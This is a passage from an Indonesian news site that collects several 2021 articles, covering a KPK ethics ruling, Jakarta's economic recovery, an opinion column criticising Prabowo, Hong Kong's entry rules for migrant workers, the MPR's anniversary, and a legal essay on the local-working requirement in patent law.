permohonan bantuan soal perkaranya dalam kasus jual beli jabatan. Saa itu ada informasinya bahwa penyidik KPK sedang melakukan penggeledahan di kabupaten Labuhan Batu Utara dan akan melanjutkan penggeledahan di Tanjung Balai. "Kemudian terperiksa mengatakan untuk menghubungi saudara Arief Aceh seorang pengacara di Medan dengan memberikan nomor telefonnya. Fakta itu menambah keyakinan bagi majelis bahwa hubungan komunikasi antara teperiksa dan M Syahrial sebagai seorang yang perkaranya sedang ditangani KPK cukup intens. Ada upaya teperiksa untuk membantu saksi M Syahrial mengatasi perkaranya. Karena menurut majelis, seharusnya terperiksa cukup menyampaikan 'maaf tidak bisa membantu dan carilah pengacara' tanpa menyebut atau menunjuk nama pengacara bahkan memberikan nomor kontak pengacara yang bersangkutan," ucap Albertina Ho. Terhadap vonis etik tersebut, Lili Pintauli hanya menyampaikan "terima kasih". (MD).

Anies Baswedan Tegaskan Jakarta Unsur Penting Pemulihan Ekonomi Indonesia

Jakarta, FNN - Ibu Kota Jakarta menjadi unsur penting dalam pemulihan ekonomi Indonesia. Sebab, provinsi tersebut memiliki kontribusi besar terhadap perekonomian nasional. “Jakarta merupakan provinsi yang punya kontribusi cukup besar di perekonomian Indonesia. Hal tersebut menjadi unsur penting jika kita bicara pemulihan Indonesia,” kata Gubernur Daerah Khusus Ibukota Jakarta, Anies Baswedan dalam sambutan JaKreatiFest 2021 di Jakarta, Senin, 30 Agustus 2021. Berdasarkan data Badan Pusat Statistik (BPS), Jakarta masih menjadi penumbang terbesar terhadap perekonomian nasional. Hal itu terbukti pada kuartal II-2020, Jakarta berkontribusi sebesar 17 persen terhadap produk domestik bruto (PDB). Kemudian disusul Jawa Timur dan Jawa Barat. Anies mengungkapkan, pertumbuhan ekonomi DKI Jakarta pada triwulan II-2021 yang berada pada zona positif sebesar 10,9 persen. Angka tersebut menjadi sinyal menuju pemulihan ekonomi, sehingga ia mendorong momentum tersebut dapat dimanfaatkan, termasuk pelaku usaha. Salah satu strategi yang kini digencarkan Pemprov DKI Jakarta, vaksinasi. Sebab, hal itu dinilai menjadi salah satu solusi dalam pemulihan ekonomi dari dampak pandemi Covid-19. “Vaksinasi menjadi sesuatu yang penting. Ini menjadi ’game changer’ dan kami harap gerakan vaksinasi ini bisa segera tuntas,” katanya sebagaimana dikutip dari Antara. Hingga 29 Agustus 2021, vaksinasi di Jakarta untuk dosis pertama sudah mencapai 107,7 persen atau mencapai 9,6 juta dari sasaran 8,9 juta orang. Sedangkan vaksinasi dosis kedua sudah mencapai 61,6 persen atau 5,5 juta orang. Berdasarkan data BPS DKI Jakarta, pertumbuhan ekonomi Ibu Kota Indonesia pada triwulan II-2021 mencapai 10,9 persen atau tumbuh positif setelah pada periode sama 2021 kontraksi 8,33 persen. BPS mencatat, Produk Domestik Regional Bruto (PDRB) DKI Jakarta pada triwulan II-2021 mencapai Rp 721,5 triliun. (MD).

Timbul dan Tenggelam

By M Rizal Fadillah Di antara penampilan Prabowo saat Pilpres untuk meyakinkan pendukung adalah sikap atau tekad untuk timbul tenggelam bersama rakyat. Menggebrak meja mimbar adalah bukti atas heroisme untuk berjuang demi rakyat. Namun perjalanan bergerak ke arah lain. Prabowo dan Sandiaga menjadi pembantu Presiden sebagai anggota Kabinet. Hero telah berubah menjadi pemandu hore. Prabowo bukan karakter pemimpin yang baik. Dalam makna konsisten. Begitu menjadi Menteri langsung terkurung dalam sangkar. Tidak ada pernyataan pembelaan pada penderitaan rakyat baik soal Vaksin, PPKM, pengangguran, TKA China, hutang luar negeri, pembunuhan 6 laskar, penzaliman kepada HRS, serta penistaan agama. Bungkam seribu bahasa. Alih-alih pembelaan pada kesulitan rakyat atau memberi masukan konstruktif kepada Presiden tentang masalah kerakyatan, justru yang tertangkap publik adalah pujian habis kepada Jokowi yang terlihat melewati batas sebagai "jagoan" mantan kandidat Presiden yang mendapat dukungan besar dari rakyat. Dua kali Prabowo "bersyahadat" memuji Jokowi. Pertama dalam pidato khusus sendiri. "Saya bersaksi bahwa keputusan Jokowi selalu berdasarkan keselamatan rakyat miskin dan lemah" dan kedua, saat pertemuan Jokowi dengan Parpol koalisi baru-baru ini. Prabowo menyatakan "Jadi kepemimpinan Pak Jokowi efektif. Saya mengakui itu dan hormat sama Bapak. Saya lihat. Saya saksi. Saya ikut dalam Kabinet. Kepemimpinan, keputusan-keputusan Bapak cocok untuk rakyat kita". Merujuk pada saat Jokowi didukung untuk menjabat tiga periode, maka pujian terbuka itu dapat "menampar muka saya", "mencari muka" atau "menjerumuskan saya". Tanpa ada respon serupa dari Jokowi sebenarnya Prabowo sedang "menjilat" atau "mencari muka" yang entah tujuannya apa. Gampangnya saja bisa untuk dukungan Presiden ke depan. Adakah restu Baginda sudah didapat untuk Prabowo-Puan hingga Mega pun perlu menangis dengan tambahan diksi "kurus" dan "kodok" ? Semestinya Prabowo jangan berfikir untuk menjadi Presiden melalui kompetisi yang ketiga kalinya. Puncak kepercayaan rakyat adalah Pilpres 2019 lalu. Wajah Prabowo sudah semakin jelas kerut-kerutnya karena usia ataupun kerutan sikap politiknya. Rakyat bukan bicara bagaimana kemungkinan Prabowo dapat menang. Tetapi dengan asumsi menang dan menjadi Presiden pun Prabowo sulit mendapat dukungan penuh. Sama saja dengan Jokowi. Banjir kritik sudah terbayang. Ia bukan tokoh yang kuat. Ketika Menhan ini menyambut di atas mimbar dengan memuji habis Jokowi, maka harapan adanya gebrakan untuk mengingatkan jalannya pemerintahan yang sudah terantuk-antuk adalah sebuah ilusi. Gebrakan meja hanya cerita masa lalu saat bersama rakyat. Kini di tempat yang jauh dari perasaan keadilan rakyat, Prabowo memang sedang menggebrak-gebrak angin. Timbul tenggelam bersama rakyat itu dibuktikan dengan rakyat yang tenggelam dan Prabowo yang timbul. Namun sebenarnya Prabowo juga sedang tenggelam bersama tenggelamnya kapal selam Nanggala-402 yang hingga kini tak ada cerita. Nyawa 53 orang seperti sia-sia. Sepi. *) Pemerhati Politik dan Kebangsaan

Pekerja Migran Indonesia Sudah Bisa Masuk Hongkong

Beijing, FNN - Para calon pekerja migran dari Indonesia (PMI) sudah bisa masuk dan bekerja di Hong Kong mulai Senin, 30 Agustus 2021. Pemerintah Hong Kong telah menerapkan kebijakan terbaru bagi PMI. Demikian pengumuman Konsulat Jenderal RI di Hong Kong yang dipantau ANTARA di Beijing, China, Ahad, 29 Agustus 2021. Kebijakan terbaru itu juga tersiar di sejumlah media di China. Efektif mulai Senin (30/8), pembantu rumah tangga dari Indonesia dan Filipina akan diizinkan memasuki wilayah Hong Kong, demikian media China. "Kami sudah mencapai kesepakatan pengakuan catatan vaksinasi dengan pemerintah Indonesia dan pemerintah Filipina," kata juru bicara Pemerintah Wilayah Administrasi Khusus Hong Kong (HKSAR). Kebijakan tersebut, lanjut dia, akan memudahkan masyarakat Hong Kong yang kesulitan mendapatkan pembantu rumah tangga setelah penangguhan pengiriman PMI dari Indonesia dan Filipina. Penangguhan itu terjadi karena merebaknya wabah Covid-19 varian Delta di kedua negara di kawasan Asia Tenggara tersebut. Untuk bisa memasuki dan bekerja di Hong Kong, KJRI menyampaikan beberapa persyaratan. Antara lain, calon PMI harus mendapatkan vaksin lengkap yang telah melewati masa 14 hari sejak vaksin dosis kedua. PMI diingatkan supaya membawa dokumen perjalanan dan kontrak kerja yang diperlukan, sertifikat vaksinasi dosis pertama dan kedua yang telah diverifikasi oleh Kementerian RI.Kemudian, surat hasil negatif tes PCR yang dapat diperoleh 72 jam sebelum keberangkatan, dan memiliki bukti pemesanan tempat karantina mandiri selama 21 hari di tempat yang telah ditentukan. Otoritas Hong Kong telah menyediakan satu hotel dengan 409 kamar yang bisa digunakan untuk karantina mandiri bagi pekerja migran dari Indonesia dan Filipina. HKSAR juga akan menambah fasilitas karantina tersebut seiring dengan meningkatnya gelombang kedatangan pekerja migran dari kedua negara bertetangga tersebut. Indonesia dan Filipina merupakan dua negara penyumbang terbesar tenaga kerja asing sektor informal di Hong Kong. Sebelumnya Hong Kong juga menetapkan Indonesia berstatus A1 Covid-19 sehingga bandar udara setempat tidak menutup jalur penerbangan dari dan menuju Indonesia. (MD).

MPR Harus Hadir di Tengah Kesulitan Masyarakat

Jakarta, FNN - Majelis Permusyaratan Rakyat Republik Inndonesia (MPR RI) harus hadir di tengah kesulitan rakyat. Di tengah kondisi sulit bangsa dan masyarakat saat ini, MPR harus hadir sebagai solusi atas berbagai persoalan bangsa. Wakil Ketua MPR RI Jazilul Fawaid (Gus Jazil) mengatakan hal itu dalam keterangannya, di Jakarta, Ahad,29 Agustus2021. Keterangan tersebut disampaikannya berkaitan dengan Hari Ulang Tahun ke-76 MPR RI. "Momentum hari-hari ini sungguh dipentingkan kehadiran di tengah masyarakat yang sedang mengalami kesulitan. Nilai-nilai yang ada dalam 4 Pilar MPR harus kita aktualisasikan dalam kehidupan sehari-hari," tutur Gus Jazil memaknai 76 Tahun MPR. Pandemi Covid-19 berkepanjangan menimbulkan berbagai kesulitan di tengah masyarakat. Krisis kesehatan yang sudah berlangsung lebih dari 1,5 tahun sejak pertama kali kasus Covid-19 ditemukan di Indonesia pada awal Maret 2020 lalu, kini berdampak serius pada persoalan ekonomi masyarakat. Menurut Gus Jazil, menghadapi kondisi sulit hari-hari ini akibat pandemi Covid-19, MPR harus tetap berjuang dan berupaya menjadi rumah kebangsaan. Hal itu sesuai dengan visi dan tugasnya yakni melakukan sosialisasi 4 Pilar. Ujungnya, bagaimana masyarakat bisa berketuhanan, bersatu, dan memiliki rasa solidaritas kemanusiaan sekaligus rasa peduli dan keadilan terhadap sesama. Sepanjang sejarah dan kiprahnya, kata Gus Jazil, sudah banyak yang dilakukan dan diberikan MPR kepada bangsa ini. Namun, yang justru harus didorong adalah bagaimana MPR sebagai rumah kebangsaan menjadi pelindung dari semua kelompok, golongan karena hari-hari yang sulit dan tidak terduga saat ini. Masalah yang terjadi sekarang, yakni masalah kesehatan berimbas ke masalah ekonomi, bisa menjadi berimbas pada masalah sosial, politik. "Sehingga, peran MPR menjadi penting dan strategis agar tidak terjadi gejolak sosial, gejolak politik di tengah-tengah kesulitan agar kita semua bisa bangkit. Itu yang menjadi spirit dari HUT Ke-76 MPR hari ini. Kita tingkatkan spirit kebangsaan di tengah kondisi masyarakat yang sulit," ucapnya, sebagaimana dikutip dari Antara. Disisi lain, kata Gus Jazil, sebagai Rumah Kebangsaan, pengawal ideologi Pancasila, dan kedaulatan rakyat, MPR juga merupakan representasi dari daulat rakyat yang menjembatani berbagai aspirasi masyarakat dan daerah yang mengedepankan etika politik kebangsaan. Oleh karena itu, MPR harus selalu berusaha menciptakan suasana harmonis antar kekuatan sosial politik dan antar kelompok kepentingan untuk mencapai sebesar-besar kemajuan bangsa dan negara. ”Dirgahayu Ke-76 MPR sebagai Rumah Kebangsaan Pengawal ideologi Pancasila dan kedaulatan rakyat. Semoga bangsa ini segera keluar dari kesulitan dan Indonesia bisa menjadi negara maju dan sejahtera," kata Gus Jazil. (MD).

Paten, Alih Teknologi dan Local Working (Catatan Diskusi Akhir Pekan APHKI)

Oleh Prof. Dr. OK.Saidin, SH.M.Hum. Pengatar Akhir pekan, tepatnya 28 Agustus 2021, Asosiasi Pengajar Hukum Hak Kekayaan Intelektual Indonesia, berdiskusi melalui media sosial, terkait dengan adanya usulan Perubahan UU No.13 Tahun 2016 tentang Paten yang akan mulai dibahas di DPR-RI pada akhir tahun ini. Salah satu yang dibincangkan adalah, terkait perubahan redaksi Pasal 20 undang-undang tersebut. Perubahan itu sebenarnya sudah dilakukan melalui UU No.11 Tahun 2020 tentang Cipta Kerja yang dimuat dalam Pasal 107. Inti dari perubahan pasal itu adalah, dihapuskannya ketentuan tentang kewajiban pemegang paten untuk membuat produk atau menggunakan proses di Indonesia yang kegiatan itu harus menunjang transfer teknologi, penyerapan investasi dan peneyediaan lapangan kerja. Dengan Pasal 107 UU No.11 Tahun 2020, paten itu sudah dianggap dilaksanakan di Indonesia cukup dengan melakukan perbuatan yang meliputi membuat, mengimpor, atau melinsensikan produk, yang diberi paten. Demikian juga untuk paten proses danggap sudah dilaksanakan jika sudah dilakukan perbuatan yang meliputi membuat, melisensikan, atau mengimpor produk yang dihasilkan dari proses yang diberi paten. Selanjutnya untuk paten metode (ini klasifikasi baru tentang paten yang dianggap rancu), juga sudah dianggap dilaksanak an jika, sistem, dan penggunaan yang meliputi membuat, mengimpor, atau melisensikan produk yang dihasilkan dari metode, sistem, dan penggunaan yang diberi Paten, sudah dilakukan Ketentuan ini nantinya akan menjadi Ketentuan Pasal 20 UU Paten yang akan direvisi nanti. Artinya seluruh ketentuan yang termuat dalam Pasal 107 UU No. 11 Tahun 2020 tentang Cipta Kerja akan diambil utuh yang akan ditempatkan dalam Pasal 20 dan ditambah dengan ketentuan Pasal 20 A yang berbunyi, " Pemegang Paten sebagaimana dimaksud dalam Pasal 20 wajib membuat pernyataan pelaksanaan Paten di Indonesia dan memberitahukannya kepada Menteri setiap akhir tahun setelah diberikan. Ada dua hal yang perlu diberi catatan dari redaksi Pasal 20 dan Pasal 20 A yang nantinya akan ditempatkan dalam Undang-undang Paten hasil revisi. Kehadiran Pasal 107 UU No.11 Tahun 2007 ini tidak berdiri sendiri. Perubahan ketentuan itu mengalami perjalanan yang panjang dan berkahir dengan ketentuan yang oleh sebahagian peserta diskusi dianggap bertentangan dengan landasan filosofis Panacasila dan Tujuan Negara yang termaktub dalam Pembukaan UUD Negara RI Tahun 1945. Diskusi menjadi hangat ketika Pak Gunawan Soeryomurcito salah seorang dari peserta diskusi yang keberatan dan menyatakan ketidak setujuan atas pandangan peserta diskusi terkait pernyataan yang menggeneralisir seolah-olah Negara tidak berpihak pada rakyat. Akhirnya perbincangan melebar pada persoalan local working dan alih teknologi. Banyaklah pandangan yang muncul. Jalannya dikusi secara utuh dapat diturunkan sebagai berikut. Paten Sebagai Alat Penjajahan Baru Paten yang merupakan bagian dari Hak Kekayaan Intelektual telah menjadi alat penjajahan baru Negara industri maju terhadap Negara dunia ketiga seperti yang diungkapkan oleh Christoper May (2009) dalam bukunya, The Global Political Economy of Intellectual Property Rights. Amerika dan sekutunya telah menggunakan Marakes Convention, untuk menaklukkan Asia dan negara-negara dunia ketiga melalui sistem perdagangan. Negara-negara di dunia bergabung dalam keanggotaan The General Agreement Tariff and Trade (GATT) dan telah bersidang pada bulan April 1994 di Marakesh. Capaiannya berupa kesepakatan yang disebut dengan The Agreement Establishing the World Trade Organization (WTO Agreement) yang dikenal dengan Marakesh Convention dan seluruh rangkaian konvensi ikutannya. Salah satu dari instrumen ikutannya adalah Trade Rekated Aspects of Intellectual Property Rights (TRIPs Agreement). Penerapan TRIPs Agreement ke dalam peraturan perundang-undangan negara anggota adalah menjadi harapan Amerika Serikat dan negara sekutunya. Amerika Serikat sangat berkepentingan dengan hasil kesepakatan Marakesh ini. Itulah sebabnya utusan khusus Presiden Amerika harus terbang jauh menyeberangi Samudera Atlantik hanya untuk menghadiri sesi terakhir sidang GATT pada tanggal 5 April 1994 yang akan ditutup esok harinya. Itu dilakukan Amerika hanya untuk memperkuat delegasi negara maju. Utusan khusus Bill Clinton itu menyampaikan orasi di depan peserta sidang GATT. Hasilnya adalah disetujuinya Marakesh Convention dan pembentukan World Trade Organization (WTO) yang menurut analisis Chriatianto Wibisono (1998) hal itu tidak lebih dari alat penjajahan baru negara maju terhadap negara berkembang. Setelah lebih dua windu pemberlakuan Marakes Convention, Christoper May (2009) menulis dalam bukunya, The Global Political Economy of Intellectual Property Rights bahwa, Hak Kekyaan Intelektual termasuk Paten, akan menjadi alat politik ekonomi Negara maju terhadap Negara berkembang. Semua urusan yang terkait dengan perdagangan Internasional, harus dihubungakan dengan aspek hak kekayaan intelektual (trade related to aspects intellectual property right). Inilah politik penjajahan gaya baru (neo imperialism) Negara maju terhadap Negara berkembang. UU Paten Indonesia Pasca Ratifikasi Marakesh Convention Indonesia pasca ratifikasi Marakesh Convention, melalui UU No. 7 Tahun 1994 menyesuaikan peraturan HKI-nya termasuk Paten. Terakhir penyesuaiannya tampak dalam UU No.13 Tahun 2016. Tapi ada pasal yang masih mengganjal. Salah satu bunyi Pasal yang mengganjal itu adalah ketentuan yang termuat dalam Pasal 20 yang mewajibkan pemegang paten untuk membuat produk atau menggunakan proses di Indonesia. Ketentuan ini kemudian dilanjutkan lagi dengan keharusan untuk menunjang pelaksanaan transfer teknologi, penyerapan investasi dan peneyediaan lapangan kerja. Amerika dan Negara maju lainnya melihat ketentuan ini bertentangan dengan prinsip yang diatur dalam TRIPs Agreement. Pasal ini diskriminatif dan dipandang bertentangan dengan article 27 (1) TRIPs Agreement yang konvensi induknya Marakesh Convention sudah diratifikasi Indonesia melalui UU No.7 Tahun 1994. Amerika dan sekutunya Negara Industri maju yang notabene sebagai Negara pemilik paten terbesar di dunia, memang memiliki kepentingan untuk penghapusan Pasal itu. Karena Indonesia dianggap Negara yang paling potensial untuk pemasaran produk mereka yang berasal dari paten yang dilindungi. Seperti kata Agus Sardjono, "Intinya, asing memang cuma mau jualan produk ke pasar Indonesia." (Agus Sardjono, 28 Agustrus 2021). Kegelisahan Amerika itu terbukti. Sekaligus menjawab tesa yang dikemukakan May Christoper. Tepat pada Tahun 2018, Duta Besar Amerika Serikat untuk Indonesia, Joseph R. Donovan Jr menemui Menteri Hukum dan HAM pada suatu kesempatan. Inti percakapannya meminta Indonesia untuk membahas norma Pasal 20 UU No. 13 Tahun 2016 (Bisnis Indonesia, 22 Pebruari 2019). Ujung-ujungnya Menteri Hukum dan HAM menerbitkan Peraturan Menteri Hukum dan HAM No.15 Tahun 2018 tentang Pelaksanaan Paten Oleh Pemegang Paten. Alhasil Ketentuan Pasal 20 UU No.13 Tahun 2016 dapat ditunda keberlakuannya. Jika pemegang paten tak dapat melaksanakan ketentuan Pasal 20 UU No. 13 Tahun 2016, maka Pemegang paten dapat mengajukan permohonan untuk menunda pelaksaan pembuatan produk atau penggunaan proses paten di Indonesia paling lama 5 (lima) tahun. Yang dianulur oleh perturan menteri adalah Undang-undang. Produk hukum yang lahir atas kehendak rakyat, bukan atas kehendak pemerintah. Tapi produk ini dikesampingkan karena adanya tekanan pihak asing. Di sinilah kita berbicara soal kemandirian bangsa, soal marwah bangsa. Jika persoalan local working yang tak dapat dilaksanakan pada tataran praktis, seperti yang disinyalir oleh Gunawan Suryomurcito ( 28 Agustus 2021), menurut hemat kami itu tak dapat dijadikan alasan agar bangsa ini mengalah. Bangsa ini bangsa besar, jangan dikalahkan oleh segelintir para "makelaar". Jangan dikalahkan oleh keinginan-keinginan para pembisnis. Pembangunan bangsa ini jangan diukur melulu dari tingkat kesejahteraan ekonomi, tapi indeks kebebasan, keadilan sosial, pelindungan hak-hak rakyat, hak asasi manusia, capaian terhadap tujuan Negara, harus dimasukkan ke dalam korider indeks keberhasilan pembangunan Indonesia, seperti variabel kesejahteraan yang ditulis oleh Amartya Sen, yang mengantarkannya sebagai Peraih Nobel Bidang Ekonomi dalam bukunya, "Development As Freedom (1999). Singapore memang menjadi Negara yang berada pada peringkat pertama dalam hitungan indeks kesejahteraan ekonomi, untuk Negara-negara di Asia, tapi pers di Singapore tidak sebebas di Indonesia. Rakyat hidup mewah, tapi hidup bak burung di sangkar emas. Jadi kesejahteraan itu di dalamnya terdapat perlindungan terhadap marwah, harga diri dan kemandirian bangsa. Bukan soal hitung-hitungan ekonomi semata. Itulah dahulu alasannya mengapa bangsa ini berjuang untuk merdeka, melepaskan belenggu penjajah dan itu dituangkan dalam hukum dasar berdirinya Negara ini yang dinukilkan dalam Pembukaan Undang-undang dasar Negara Republik Indonesia Tahun 1945. Terjebak Kehendak Makelaar Jika hari ini, tenaga kerja lokal kita belum mampu disinilah letak persoalannya. Prof. Agus Sardjono mengatakan, ini bukan kesalahan asing, tatapi kesalahan bangsa ini. Apa alasannya kita tidak dapat membangun SDM yang mampu bersaing dengan asing. Apa alasannya tenaga kerja lokal kita belum siap? Mengapa setelah 76 tahun merdeka kita belum siap bersaing? Pasti ada yang salah dalam pengelolaan menejemen pendidikan kita sehingga tidak bisa menghasilkan tenaga kerja lokal yang mumpuni. Padahal di luar sana anak bangsa ini banyak yang bekerja di perusahaan-perusahan industri asing. Bahkan paten dalam bidang pesawat terbang, belum ada yang menandingi Putera terbaik bangsa kita, yakni; Habibie. Habibie memegang 46 paten dalam bidang aeronautika. Di mana kesalahan bangsa ini? Menjadi benar anggapan selama ini bahwa, tanpa bermasud untuk mengeneralisasi, bahwa kita masih terjebak dalam kerja-kerja makelaar. Jika local working kita belum mampu, inilah yang terlebih dahulu yang harus kita kejar untuk diselesaikan. Siapkan dahulu SDM yang mampu menjawab tantangan itu. Bukan justeru memberi peluang pada tumbuhnya para makelaar – meminjam istilah yang digunakan oleh Prof. Agus Sardjono – baru. Alasan bahwa untuk melaksanakan satu paten di suatu yurisdiksi tidak bisa dengan cara harus menanamkan modal untuk membangun perusahaan khusus untuk melaksanakan paten dimaksud, seperti yang disampaikan oleh Gunawan Suryomurcito, (28 Agustus 2021), jika secara ekonomis tidak feasible, tentu tak selamanya dapat diterima. Alasan itu tak dapat dipergunakan untuk membuat bangsa ini harus menerima saja keinginan asing, lalu menuangkannya dalam peraturan perundang-undangannya. Jika secara ekonomis tidak feasible maka tidak mungkin pihak investor asing akan menanamkan modalnya untuk membuat produk atau menggunakan proses yang dipatenkan itu, begitu lanjut Gunawan. Lantas apa dengan begitu, bangsa ini harus takluk pada kehendak para makelaar sebagai wakil dari kaum kapitalis? Bambu runcing juga tidak feasible untuk melawan senjata yang terbuat dari mesin-mesin perang modern. Tapi bangsa ini bisa merdeka, bisa mengusir Belanda dan ditakdirkan tidak menjadi bangsa yang menerima hadiah kemerdekaan dari Jepang. Mengapa semangat itu kini tenggelam. Jangan lupa bahwa kita ini adalah bangsa yang bertuhan, bangsa yang menjunjung nilai-nilai kemanuisaan yang adil dan beradab, bangsa yang besar yang disatukan dalam ikatan satu nusa, satu bangsa, satu bahasa, bangsa yang memilki semangat untuk bermusyawarah dan bermufakat dan bangsa yang memiliki cita-cita untuk mewujudkan masyarajkatnya yang tidak saja sejahterah dalam bidang ekonomi, tapi juga sejahterah dalam bidang sosial. Oleh karena itu ini bukan persoalan menggeneralisir masalah seolah-olah negara tidak berpihak kepada rakyat, seperti anggapan Pak Gunawan ketika menilai pendirian kami, tapi lebih dari itu, ini adalah soal konsitensi Negara dalam menegakkan nilai-nilai ideologi dan capaiannya terhadap tujuan negara yang telah diletakkan oleh pendiri bangsa ini. Jika pelaksanaan paten yang dimiliki oleh pemegang paten asing di Indonesia itu tidak sesederhana seperti apa yang kami tpikirkan terkait local working, pemikiran itu kita serahkan saja kepada para pelaksana kebijakan. Tapi landasan hukum jangan diutak-atik untuk kepenting praktis yang syarat dengan tujuan-tujuan pragmatis jangka pendek. Undang-undang, sekali ia dibuat tidak berpijak pada ideologi dan tujuan Negara, maka selama itu undang-undang itu dipandang sebagai produk leghislatif yang mencederai nilai-nilai perjuangan para pendiri bangsa ini. Begitu juga ketika tidak semua paten bisa dilaksanakan di Indonesia tanpa kajian sisi economic feasibility-nya, itu bukanlah tugas kita sebagai pembuat undang-undang untuk mengamini tujuan para makelaar dan kaum kapitalis global. Masuk Perangkap Filosofis Barat Oleh karena itu perundang-undangan kita termasuk Paten tak boleh terperangkap dengan nilai-nilai filosofis kehidupan Barat. Sejarah Eropa mencatat bahwa, kekalahan Napoleon dalam berbagai peperangan menyentakkan kesadaran Barat dan ini adalah awal kegagalan sistem negara yang dikembangkan di Barat, seperti yang dilukiskan oleh Marvin Perry (Peradaban Barat Dari Revolusi Prancis Hingga Zaman Global, 2013;249). Peradaban Barat yang penuh dengan kisah peperangan itu memberi warna juga pada pilihan produk industri mereka seperti industri alat-alat perang (industri persenjataan) dan bahkan industri perfilman merekapun didominasi oleh cerita perang. Seiring dengan perang senjata yang masih bergolak di sebagian wilayah Timur Tengah, perang ideologipun terus berlangsung. Kemenangan Amerika dengan ideologi liberalnya yang membuahkan kapitalis melawan ideologi komunis yang diikuti keruntuhan dominasi Uni Soviet, membuat posisi Amerika semakin berada “di atas angin” merajai dan sebagai pengendali peradaban dunia. Kini perang itu telah berubah menjadi perang ekonomi dengan ideologinya masing-masing. GATT/WTO hasil capaian Putaran Uruguay Round Tahun 1994 adalah sarana yang dipakai oleh Amerika dan sekutunya untuk menaklukkan Asia dan negara-negara dunia ketiga. Saingan terbesar Amerika adalah Cina, India dan Turki yang diperkirakan akan turut dalam percaturan politik internasional yang memiliki peluang untuk mendominasi perekonomian dunia (Kishore Mahbubani, 2011). Cina dan India telah memperlihatkan “pembangkangannya“ dalam menyikapi TRIPs Agreement sebagai hasil capaian Uruguay Round yang melahirkan kesepatan GATT/WTO. Lantas Indonesia mengambil posisi di mana? Tentang Local Working Olkeh karena itu terkait Local Working saya sepakat dengan pandangan Agus Sardjono. Local working tidak harus bangun pabrik. Local working itu bisa lisensi atau berpartner dgn local company. Tidak harus invest sendiri. Itulah gunanya transfer of technology yang akan menjadi ruhnya paten. Impor atau beli itu tidak mendidik dan tidak berpeluang untuk adanya transfer of technology. Yang ada malah banjir dana keluar untuk membayar harga barang yang diimpor (Prof.Agus Sardjono, 28 Agustus, 2021). Memanglah hal itu juga menurut Gunawan Suryomurtjito, ukurannya adalah kelayakan secara ekonomis, " Lisensi dan partnership pun harus menguntungkan kedua belah pihak". Nah, tapi kami ingin katakan sekali lagi kelayakan ekonomis tak dapat diadikan pertimbangan semata-mata. Dampak sosial dan dampak politik yang ditimbulkannya harus juga diperhitungkan. Untuk apa kita punya uang banyak, tapi jadi bulan-bulanan Negara industri maju yang akan mengantarkan negeri ini ke alam kapitalis yang akan membahayakan perjalanan bangsa ini ke depan. Kecuali hari ini bangsa ini memang sudah sepakat untuk menggangti Pancasila dan UUD Tahun 1945. Oleh karena itu, seperti dukungan Dr. Djamal terhadap pandangan Pak Gunawan Suryomurcito, (28, Agustus 2021) sekalipun tidak mungkin akan ada yang mau berinvestasi untuk membuat produk atau menggunakan proses yang dipatenkan itu, karena alasan secara ekonomis tidak feasible, sebagai bangsa yang mandiri kita tak perlu ambil pusing. Kita sedang mengurus hal-hal yang lebih besar dari sekedar mengurus kepentingan para makelaar untuk masa depan negeri ini. Karena itu jangan kita urus, urusan para makelaar dan para kaum kapitalis. Itu bukan urusan Negara. Bangsa ini sedang memerlukan seorang negarawan, bukan tehnokrat semata, apalagi kaum pragmatis dan kaum opurtunis yang kerap kali melupakan dasar-dasar filosofis bangsa ini. Persoalan bangsa ini tidak punya bahan baku dan teknologi itu masuk pada arena jawaban abu-abu. Itu pernyataan terlalu bersayap. Tak ada rotan akarpun jadi. Negeri ini ada akar dan ada rotan. Negeri ini kaya dengan sumber daya flora dan fauna. Kaya dengan sumber daya mineral. Kaya dengan potensi kelautan dan potensi pertanian. Kita bukan tak punya bahan baku, tapi selama ini bangsa ini dibuat menjadi bodoh sehingga tidak mampu mengelola sumber daya alam yang tersedia yang ia miliki. "Indonesia ini adalah penggalan surga", begitu satu kali sahabat saya dari Turki berujar, ketika ia saya bawa keliling Indonesia. Mengapa kita tidak lakukan "Revolusi Hijau" supaya kita tidak mengimpor kedele, beras dan jagung. Mengapa kita tidak melakukan "Revolusi Biru"? Bukankah potensi kesempatan kerja di laut seluas lautan yang dapat dijangkau? Kegagalan kita adalah ketersediaan teknologi. Ternyata awak kapal tangkap ikan Asing banyak yang berasal dari Indonesia? Di sinilah perlu kehadiran Negara. Jangan melulu hitung-hitungan bisnis. Ada banyak solusi, seperti yang disampaikan Dr. Djamal (28 Agustus, 2021), misalnya menyiapkan lahan-lahan tanah yang dikuasai negara yang terlantar untuk dimanfaatkan dan hasilnya ditanamkan sebagai penyertaan modal buat mengurangi biaya investasi perusahaan yang untuk membangun industri yang patennya berasal dari pihak asing. Kepada pengusaha diberi kemudahan dalam urusan perijinan dan keringanan dalam urusan pajak, supaya pemilik paten bersedia membangun industrinya atau bermitra dengan pengusaha Indonesia. Semua itu dapat dilakukan karena negara punya berbagai perangkat, termasuk perangkat penegak hukum. Berikan rasa aman dan nyaman untuk berinvetasi, sehingga investasi di Indonesia dapat diprediksi atau diperkirakan. Jangan unpredictable. Rasanya, kalau mau, itu bisa diselesaikan. Setelah itu dipersilahkan menggunakakn hitung-hitungan bisnis, seperti yang diperkirakan oleh kalangan industriawan dan kaum pembisnis untuk kelayakan sebuah investasi, sebagaimana dimaksudkan oleh Pak Gunawan Suryomurcito. Tentu itu tidak mejadi soal, tapi jangan ganggu hal-hal yang bersifat ideologis, sebab di situ terketak harkat, martabat dan marwah bangsa. Harus jelas arah perjalanan bangsa ini. Bangsa ini mau dibawa ke mana? Local Working Diatur Dalam Peraturan Organik Oleh karerna itu, patut dipertimbangkan pandangan Prof. Henry Soelistyo Budi (28 Agustus, 2021) Menurut beliau, "Local Working jangan dilihat sebagai instrumen teknis ekonomis. Itu instrumen kebijakan, penormaan dari Policy Ground, tentang Konsep Keseimbangan Hak dan Kewajiban. Sebagai negara berdaulat, kita punya kepentingan nasional yang harus diekspresikan dalam format kebijakan strategis. Jangan di downgrade sebagai persoalan teknis. Level pendekatannya harus ditataran national policy. Jadi tidak layak diutak-atik dengan kalkulasi ekonomis, apalagi argumen berbasis business interest. Enggak nyambung. Itu harus dipahami dalam policy perspective. Kalau tidak feasible secara ekonomi, nah baru ditukangi eksepsi atau dispensasi dan instrumen diskresi operasional lain, seperti gagasan Dr. Djamal, tapi jangan dinihilkan apalagi disalahkan konsep local working itu, demikian sanggahan dari Prof. Henry Soelistyo Budi yang saat ini tercatat sebagai Ketua Program Pasca Sarja Ilmu Hukum Universitas Pelita Harapan, yang juga sebagai Anggota Dewan Pembina APHKI. Mari kita melihatnya secara lebih arif. Intinya konsep 